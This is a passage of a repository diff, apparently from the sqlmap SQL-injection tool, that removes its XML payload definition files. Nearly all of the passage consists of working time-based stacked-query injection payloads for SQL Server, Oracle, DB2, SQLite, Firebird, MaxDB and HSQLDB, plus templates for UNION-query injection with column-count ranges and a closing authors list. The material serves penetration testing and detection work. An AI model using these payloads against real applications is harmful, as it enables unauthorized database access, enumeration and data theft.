<payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
<request>
<payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_LOCK.SLEEP - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_LOCK.SLEEP)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (USER_LOCK.SLEEP - comment)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (USER_LOCK.SLEEP)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>IBM DB2 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector>
<request>
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector>
<request>
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>SQLite &gt; 2.0 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SQLite</dbms>
<dbms_version>&gt; 2.0</dbms_version>
</details>
</test>
<test>
<title>SQLite &gt; 2.0 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SQLite</dbms>
<dbms_version>&gt; 2.0</dbms_version>
</details>
</test>
<test>
<title>Firebird stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
<request>
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Firebird</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<test>
<title>Firebird stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
<request>
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Firebird</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<test>
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector>
<request>
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP MaxDB</dbms>
</details>
</test>
<test>
<title>SAP MaxDB stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector>
<request>
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP MaxDB</dbms>
</details>
</test>
<test>
<title>HSQLDB &gt;= 1.7.2 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 1.7.2</dbms_version>
</details>
</test>
<test>
<title>HSQLDB &gt;= 1.7.2 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 1.7.2</dbms_version>
</details>
</test>
<test>
<title>HSQLDB &gt;= 2.0 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<test>
<title>HSQLDB &gt;= 2.0 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<!-- TODO: if possible, add payload for Microsoft Access -->
<!-- End of stacked queries tests -->
</root>
File diff suppressed because it is too large Load Diff
-742
View File
@@ -1,742 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- UNION query tests -->
<test>
<title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 1 to 10 columns</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 1 to 10 columns</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 1 to 10 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 11 to 20 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 21 to 30 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 31 to 40 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 1 to 10 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 1 to 10 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 1 to 10 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 11 to 20 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 21 to 30 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 31 to 40 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<!-- End of UNION query tests -->
</root>
-1719
View File
File diff suppressed because it is too large Load Diff
-7
View File
@@ -1,7 +0,0 @@
Bernardo Damele Assumpcao Guimaraes (@inquisb)
<[email protected]>
Miroslav Stampar (@stamparm)
<[email protected]>
You can contact both developers by writing to [email protected]

Some files were not shown because too many files have changed in this diff Show More